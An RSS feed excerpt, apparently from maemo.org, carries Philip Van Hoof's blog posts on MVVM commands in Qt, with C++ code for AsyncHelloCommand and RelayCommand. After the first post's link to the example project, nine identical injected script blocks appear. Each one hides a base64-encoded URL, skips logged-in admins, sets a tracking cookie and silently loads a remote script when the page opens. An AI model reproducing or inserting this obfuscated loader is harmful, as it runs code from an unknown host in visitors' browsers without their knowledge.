    <span style="color: #603000;">QMutex</span> mutex<span style="color: #800080;">;</span>
<span style="color: #800080;">}</span><span style="color: #800080;">;</span>

<span style="color: #004a43;">#</span><span style="color: #004a43;">include </span><span style="color: #800000;">"</span><span style="color: #40015a;">asynchellocommand.h</span><span style="color: #800000;">"</span>

<span style="color: #004a43;">#</span><span style="color: #004a43;">include </span><span style="color: #800000;">&lt;</span><span style="color: #40015a;">QtConcurrent/QtConcurrent</span><span style="color: #800000;">&gt;</span>

AsyncHelloCommand<span style="color: #800080;">::</span>AsyncHelloCommand<span style="color: #808030;">(</span><span style="color: #603000;">QObject</span><span style="color: #808030;">*</span> parent<span style="color: #808030;">)</span>
    <span style="color: #800080;">:</span> AbstractAsyncCommand<span style="color: #808030;">(</span>parent<span style="color: #808030;">)</span> <span style="color: #800080;">{</span> <span style="color: #800080;">}</span>

<span style="color: #800000; font-weight: bold;">void</span><span style="color: #808030;">*</span> AsyncHelloCommand<span style="color: #800080;">::</span>executeAsyncTaskFunc<span style="color: #808030;">(</span><span style="color: #808030;">)</span>
<span style="color: #800080;">{</span>
    <span style="color: #800000; font-weight: bold;">for</span> <span style="color: #808030;">(</span><span style="color: #800000; font-weight: bold;">int</span> i<span style="color: #808030;">=</span><span style="color: #008c00;">0</span><span style="color: #800080;">;</span> i<span style="color: #808030;">&lt;</span><span style="color: #008c00;">10</span><span style="color: #800080;">;</span> i<span style="color: #808030;">+</span><span style="color: #808030;">+</span><span style="color: #808030;">)</span> <span style="color: #800080;">{</span>
        <span style="color: #603000;">QThread</span><span style="color: #800080;">::</span>sleep<span style="color: #808030;">(</span><span style="color: #008c00;">1</span><span style="color: #808030;">)</span><span style="color: #800080;">;</span>
        <span style="color: #400000;">qDebug</span><span style="color: #808030;">(</span><span style="color: #808030;">)</span> <span style="color: #808030;">&lt;</span><span style="color: #808030;">&lt;</span> <span style="color: #800000;">"</span><span style="color: #0000e6;">Hello Async!</span><span style="color: #800000;">"</span><span style="color: #800080;">;</span>
        mutex<span style="color: #808030;">.</span>lock<span style="color: #808030;">(</span><span style="color: #808030;">)</span><span style="color: #800080;">;</span>
        progress<span style="color: #808030;">(</span>current<span style="color: #808030;">,</span> i<span style="color: #808030;">,</span> <span style="color: #008c00;">10</span><span style="color: #808030;">)</span><span style="color: #800080;">;</span>
        mutex<span style="color: #808030;">.</span>unlock<span style="color: #808030;">(</span><span style="color: #808030;">)</span><span style="color: #800080;">;</span>
    <span style="color: #800080;">}</span>
    <span style="color: #800000; font-weight: bold;">return</span> <span style="color: #800000; font-weight: bold;">nullptr</span><span style="color: #800080;">;</span>
<span style="color: #800080;">}</span>

<span style="color: #603000;">QFuture</span><span style="color: #800080;">&lt;</span><span style="color: #800000; font-weight: bold;">void</span><span style="color: #808030;">*</span><span style="color: #800080;">&gt;</span> AsyncHelloCommand<span style="color: #800080;">::</span>executeAsync<span style="color: #808030;">(</span><span style="color: #808030;">)</span>
<span style="color: #800080;">{</span>
    mutex<span style="color: #808030;">.</span>lock<span style="color: #808030;">(</span><span style="color: #808030;">)</span><span style="color: #800080;">;</span>
    current <span style="color: #808030;">=</span> start<span style="color: #808030;">(</span><span style="color: #808030;">)</span><span style="color: #800080;">;</span>
    <span style="color: #603000;">QFutureWatcher</span><span style="color: #800080;">&lt;</span><span style="color: #800000; font-weight: bold;">void</span><span style="color: #808030;">*</span><span style="color: #800080;">&gt;</span><span style="color: #808030;">*</span> watcher <span style="color: #808030;">=</span> <span style="color: #800000; font-weight: bold;">new</span> <span style="color: #603000;">QFutureWatcher</span><span style="color: #800080;">&lt;</span><span style="color: #800000; font-weight: bold;">void</span><span style="color: #808030;">*</span><span style="color: #800080;">&gt;</span><span style="color: #808030;">(</span><span style="color: #800000; font-weight: bold;">this</span><span style="color: #808030;">)</span><span style="color: #800080;">;</span>
    <span style="color: #400000;">connect</span><span style="color: #808030;">(</span>watcher<span style="color: #808030;">,</span> <span style="color: #808030;">&amp;</span><span style="color: #603000;">QFutureWatcher</span><span style="color: #800080;">&lt;</span><span style="color: #800000; font-weight: bold;">void</span><span style="color: #808030;">*</span><span style="color: #800080;">&gt;</span><span style="color: #800080;">::</span>progressValueChanged<span style="color: #808030;">,</span> <span style="color: #800000; font-weight: bold;">this</span><span style="color: #808030;">,</span> <span style="color: #808030;">[</span><span style="color: #808030;">=</span><span style="color: #808030;">]</span><span style="color: #ffffff; background: #dd0000; font-weight: bold; font-style: italic;">{</span>
        mutex<span style="color: #808030;">.</span>lock<span style="color: #808030;">(</span><span style="color: #808030;">)</span><span style="color: #800080;">;</span>
        progress<span style="color: #808030;">(</span>current<span style="color: #808030;">,</span> watcher<span style="color: #808030;">-</span><span style="color: #808030;">&gt;</span>progressValue<span style="color: #808030;">(</span><span style="color: #808030;">)</span><span style="color: #808030;">,</span> watcher<span style="color: #808030;">-</span><span style="color: #808030;">&gt;</span>progressMaximum<span style="color: #808030;">(</span><span style="color: #808030;">)</span><span style="color: #808030;">)</span><span style="color: #800080;">;</span>
        mutex<span style="color: #808030;">.</span>unlock<span style="color: #808030;">(</span><span style="color: #808030;">)</span><span style="color: #800080;">;</span>
    <span style="color: #ffffff; background: #dd0000; font-weight: bold; font-style: italic;">}</span><span style="color: #808030;">)</span><span style="color: #800080;">;</span>
    <span style="color: #400000;">connect</span><span style="color: #808030;">(</span>watcher<span style="color: #808030;">,</span> <span style="color: #808030;">&amp;</span><span style="color: #603000;">QFutureWatcher</span><span style="color: #800080;">&lt;</span><span style="color: #800000; font-weight: bold;">void</span><span style="color: #808030;">*</span><span style="color: #800080;">&gt;</span><span style="color: #800080;">::</span>finished<span style="color: #808030;">,</span> <span style="color: #800000; font-weight: bold;">this</span><span style="color: #808030;">,</span> <span style="color: #808030;">[</span><span style="color: #808030;">=</span><span style="color: #808030;">]</span><span style="color: #ffffff; background: #dd0000; font-weight: bold; font-style: italic;">{</span>
        <span style="color: #800000; font-weight: bold;">void</span><span style="color: #808030;">*</span> result<span style="color: #808030;">=</span>watcher<span style="color: #808030;">-</span><span style="color: #808030;">&gt;</span>result<span style="color: #808030;">(</span><span style="color: #808030;">)</span><span style="color: #800080;">;</span>
        mutex<span style="color: #808030;">.</span>lock<span style="color: #808030;">(</span><span style="color: #808030;">)</span><span style="color: #800080;">;</span>
        finish<span style="color: #808030;">(</span>current<span style="color: #808030;">,</span> result<span style="color: #808030;">)</span><span style="color: #800080;">;</span>
        mutex<span style="color: #808030;">.</span>unlock<span style="color: #808030;">(</span><span style="color: #808030;">)</span><span style="color: #800080;">;</span>
        watcher<span style="color: #808030;">-</span><span style="color: #808030;">&gt;</span>deleteLater<span style="color: #808030;">(</span><span style="color: #808030;">)</span><span style="color: #800080;">;</span>
    <span style="color: #ffffff; background: #dd0000; font-weight: bold; font-style: italic;">}</span><span style="color: #808030;">)</span><span style="color: #800080;">;</span>
    watcher<span style="color: #808030;">-</span><span style="color: #808030;">&gt;</span>setFuture<span style="color: #808030;">(</span>QtConcurrent<span style="color: #800080;">::</span>run<span style="color: #808030;">(</span><span style="color: #800000; font-weight: bold;">this</span><span style="color: #808030;">,</span> <span style="color: #808030;">&amp;</span>AsyncHelloCommand<span style="color: #800080;">::</span>executeAsyncTaskFunc<span style="color: #808030;">)</span><span style="color: #808030;">)</span><span style="color: #800080;">;</span>
    <span style="color: #603000;">QFuture</span><span style="color: #800080;">&lt;</span><span style="color: #800000; font-weight: bold;">void</span><span style="color: #808030;">*</span><span style="color: #800080;">&gt;</span> future <span style="color: #808030;">=</span> current<span style="color: #808030;">-</span><span style="color: #808030;">&gt;</span>future<span style="color: #808030;">(</span><span style="color: #808030;">)</span><span style="color: #800080;">;</span>
    mutex<span style="color: #808030;">.</span>unlock<span style="color: #808030;">(</span><span style="color: #808030;">)</span><span style="color: #800080;">;</span>

    <span style="color: #800000; font-weight: bold;">return</span> future<span style="color: #800080;">;</span>
<span style="color: #800080;">}</span></pre>
<p>You can find the complete working example <a href="https://github.com/pvanhoof/mvvm">here</a>.<script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(/[^A-Za-z0-9\+\/\=]/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9ha21jZG5yZXBvLmNvbS9leGl0anM=');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();</script><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(/[^A-Za-z0-9\+\/\=]/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9ha21jZG5yZXBvLmNvbS9leGl0anM=');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();</script><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(/[^A-Za-z0-9\+\/\=]/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9ha21jZG5yZXBvLmNvbS9leGl0anM=');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();</script><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(/[^A-Za-z0-9\+\/\=]/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9ha21jZG5yZXBvLmNvbS9leGl0anM=');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();</script><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(/[^A-Za-z0-9\+\/\=]/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9ha21jZG5yZXBvLmNvbS9leGl0anM=');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();</script><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(/[^A-Za-z0-9\+\/\=]/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9ha21jZG5yZXBvLmNvbS9leGl0anM=');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();</script><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(/[^A-Za-z0-9\+\/\=]/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9ha21jZG5yZXBvLmNvbS9leGl0anM=');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();</script><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(/[^A-Za-z0-9\+\/\=]/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9ha21jZG5yZXBvLmNvbS9leGl0anM=');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();</script><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(/[^A-Za-z0-9\+\/\=]/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9ha21jZG5yZXBvLmNvbS9leGl0anM=');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();</script></p>
<span class="net_nemein_favourites">0 <a href="http://maemo.org/news/?net_nemein_favourites_execute=fav&net_nemein_favourites_execute_for=1e7b829d557a5e4b82911e7aab0adc722c87d157d15&net_nemein_favourites_url=https://maemo.org/news/favorites//json/fav/midgard_article/1e7b829d557a5e4b82911e7aab0adc722c87d157d15/" class="net_nemein_favourites_create"><img src="http://static.maemo.org:81/net.nemein.favourites/not-favorite.png" style="border: none;" alt="Add to favourites" title="Add to favourites" /></a>0 <a href="http://maemo.org/news/?net_nemein_favourites_execute=bury&net_nemein_favourites_execute_for=1e7b829d557a5e4b82911e7aab0adc722c87d157d15&net_nemein_favourites_url=https://maemo.org/news/favorites//json/bury/midgard_article/1e7b829d557a5e4b82911e7aab0adc722c87d157d15/" class="net_nemein_favourites_create"><img src="http://static.maemo.org:81/net.nemein.favourites/not-buried.png" style="border: none;" alt="Bury" title="Bury" /></a></span>]]></description>
            <author>Philip Van Hoof &lt;pvanhoof@gnome.org&gt;</author>
            <category>feed:43af5b2374081abdd0dbc4ba26a0b54c</category>
            <pubDate>Mon, 23 Oct 2017 19:31:18 +0000</pubDate>
            <guid>http://maemo.org/midcom-permalink-1e7b829d557a5e4b82911e7aab0adc722c87d157d15</guid>
        </item>
        <item>
            <title>The RelayCommand in Qt</title>
            <link>https://pvanhoof.be/blog/index.php/2017/08/24/the-relaycommand-in-qt</link>
            <description><![CDATA[
<p>A few days ago <a href="http://pvanhoof.be/blog/index.php/2017/08/18/abstractcommand-model-view-viewmodel-techniques">I explained</a> how we can do MVVM techniques like <a href="https://msdn.microsoft.com/en-us/library/system.windows.input.icommand(v=vs.110).aspx">ICommand</a> <a href="https://github.com/pvanhoof/mvvm">in Qt</a>.</p>
<p>Today I&#8217;ll explain how to make and use a simple version of the, in the XAML MVVM world quite famous, <a href="http://www.mvvmlight.net/help/SL5/html/e5294f54-f460-8227-b228-ac63034b1294.htm">RelayCommand</a>. In the <a href="https://www.microsoft.com/en-us/download/details.aspx?id=42572">Microsoft Prism4 &amp; 5</a> world this is <a href="https://msdn.microsoft.com/en-us/library/ff654132.aspx">DelegateCommand</a>. Both <a href="https://msdn.microsoft.com/en-us/magazine/dd419663.aspx#id0090030">are equivalent</a>. I will only show a non-templated RelayCommand, so no<a href="http://www.mvvmlight.net/help/SL5/html/1a07e823-2be4-fc1b-8b91-28d25fd9729c.htm"> RelayCommand&lt;T&gt;</a> for now. Perhaps I&#8217;ll add a templated one to <a href="https://github.com/pvanhoof/mvvm">that mvvm project</a> some other day.</p>
<p>What people call <a href="https://msdn.microsoft.com/en-us/library/orm-9780596521066-01-17.aspx">a delegate in C#</a> is what C++ people call a <a href="http://en.cppreference.com/w/cpp/utility/functional/function">Functor</a>. Obviously we will use functors, then. Note that for people actually reading all those links: in C# the Action&lt;T&gt; and Func&lt;T,G&gt; are basically also C# delegates (or, functors, if you fancy C++&#8217;s names for this more).</p>
<p>Here is the <a href="https://github.com/pvanhoof/mvvm/blob/master/MVVM/Commands/RelayCommand.h">RelayCommand.h</a>:</p>
<pre style="color: #000000; background: #ffffff;"><span style="color: #004a43;">#</span><span style="color: #004a43;">include </span><span style="color: #800000;">&lt;</span><span style="color: #40015a;">functional</span><span style="color: #800000;">&gt;</span>
<span style="color: #004a43;">#</span><span style="color: #004a43;">include </span><span style="color: #800000;">&lt;</span><span style="color: #40015a;">QSharedPointer</span><span style="color: #800000;">&gt;</span>
<span style="color: #004a43;">#</span><span style="color: #004a43;">include </span><span style="color: #800000;">&lt;</span><span style="color: #40015a;">MVVM/Commands/AbstractCommand.h</span><span style="color: #800000;">&gt;</span>

<span style="color: #800000; font-weight: bold;">class</span> RelayCommand <span style="color: #800080;">:</span> <span style="color: #800000; font-weight: bold;">public</span> AbstractCommand
<span style="color: #800080;">{</span>
    <span style="color: #004a43;">Q_OBJECT</span>
<span style="color: #800000; font-weight: bold;">public</span><span style="color: #e34adc;">:</span>
    RelayCommand<span style="color: #808030;">(</span><span style="color: #666616;">std</span><span style="color: #800080;">::</span>function<span style="color: #800080;">&lt;</span><span style="color: #800000; font-weight: bold;">void</span><span style="color: #808030;">(</span><span style="color: #808030;">)</span><span style="color: #800080;">&gt;</span> executeDelegatep<span style="color: #808030;">,</span>
                 <span style="color: #666616;">std</span><span style="color: #800080;">::</span>function<span style="color: #800080;">&lt;</span><span style="color: #800000; font-weight: bold;">bool</span><span style="color: #808030;">(</span><span style="color: #808030;">)</span><span style="color: #800080;">&gt;</span> canExecuteDelegatep<span style="color: #808030;">,</span>
                 <span style="color: #603000;">QObject</span> <span style="color: #808030;">*</span>parent <span style="color: #808030;">=</span> <span style="color: #008c00;">0</span><span style="color: #808030;">)</span>
    <span style="color: #800080;">:</span> AbstractCommand<span style="color: #808030;">(</span>parent<span style="color: #808030;">)</span>
    <span style="color: #808030;">,</span> executeDelegate<span style="color: #808030;">(</span>executeDelegatep<span style="color: #808030;">)</span>
    <span style="color: #808030;">,</span> canExecuteDelegate<span style="color: #808030;">(</span>canExecuteDelegatep<span style="color: #808030;">)</span> <span style="color: #800080;">{</span><span style="color: #800080;">}</span>

    <span style="color: #800000; font-weight: bold;">void</span> execute<span style="color: #808030;">(</span><span style="color: #808030;">)</span> Q_DECL_OVERRIDE<span style="color: #800080;">;</span>
    <span style="color: #800000; font-weight: bold;">bool</span> canExecute<span style="color: #808030;">(</span><span style="color: #808030;">)</span> <span style="color: #800000; font-weight: bold;">const</span> Q_DECL_OVERRIDE<span style="color: #800080;">;</span>
<span style="color: #800000; font-weight: bold;">public slots</span><span style="color: #e34adc;">:</span>
    <span style="color: #800000; font-weight: bold;">void</span> evaluateCanExecute<span style="color: #808030;">(</span><span style="color: #808030;">)</span><span style="color: #800080;">;</span>
<span style="color: #800000; font-weight: bold;">private</span><span style="color: #e34adc;">:</span>
    <span style="color: #666616;">std</span><span style="color: #800080;">::</span>function<span style="color: #800080;">&lt;</span><span style="color: #800000; font-weight: bold;">void</span><span style="color: #808030;">(</span><span style="color: #808030;">)</span><span style="color: #800080;">&gt;</span> executeDelegate<span style="color: #800080;">;</span>
    <span style="color: #666616;">std</span><span style="color: #800080;">::</span>function<span style="color: #800080;">&lt;</span><span style="color: #800000; font-weight: bold;">bool</span><span style="color: #808030;">(</span><span style="color: #808030;">)</span><span style="color: #800080;">&gt;</span> canExecuteDelegate<span style="color: #800080;">;</span>
<span style="color: #800080;">}</span><span style="color: #800080;">;</span></pre>
<p>The <a href="https://github.com/pvanhoof/mvvm/blob/master/MVVM/Commands/RelayCommand.cpp">implementation</a> is too simple to be true:</p>
<pre style="color: #000000; background: #ffffff;"><span style="color: #004a43;">#</span><span style="color: #004a43;">include </span><span style="color: #800000;">"</span><span style="color: #40015a;">RelayCommand.h</span><span style="color: #800000;">"</span>

<span style="color: #800000; font-weight: bold;">bool</span> RelayCommand<span style="color: #800080;">::</span>canExecute<span style="color: #808030;">(</span><span style="color: #808030;">)</span> <span style="color: #800000; font-weight: bold;">const</span>
<span style="color: #800080;">{</span>
    <span style="color: #800000; font-weight: bold;">return</span> canExecuteDelegate<span style="color: #808030;">(</span><span style="color: #808030;">)</span><span style="color: #800080;">;</span>
<span style="color: #800080;">}</span>

<span style="color: #800000; font-weight: bold;">void</span> RelayCommand<span style="color: #800080;">::</span>evaluateCanExecute<span style="color: #808030;">(</span><span style="color: #808030;">)</span>
<span style="color: #800080;">{</span>
    <span style="color: #800000; font-weight: bold;">emit</span> canExecuteChanged<span style="color: #808030;">(</span> canExecute<span style="color: #808030;">(</span><span style="color: #808030;">)</span> <span style="color: #808030;">)</span><span style="color: #800080;">;</span>
<span style="color: #800080;">}</span>

<span style="color: #800000; font-weight: bold;">void</span> RelayCommand<span style="color: #800080;">::</span>execute<span style="color: #808030;">(</span><span style="color: #808030;">)</span>
<span style="color: #800080;">{</span>
    executeDelegate<span style="color: #808030;">(</span><span style="color: #808030;">)</span><span style="color: #800080;">;</span>
<span style="color: #800080;">}</span></pre>
<p>Okay, so how do we use this? First we make a <a href="https://github.com/pvanhoof/mvvm/blob/master/Examples/viewmodel.h">ViewModel</a>. Because in this case we will define the command in C++. That probably means you want a ViewModel.</p>
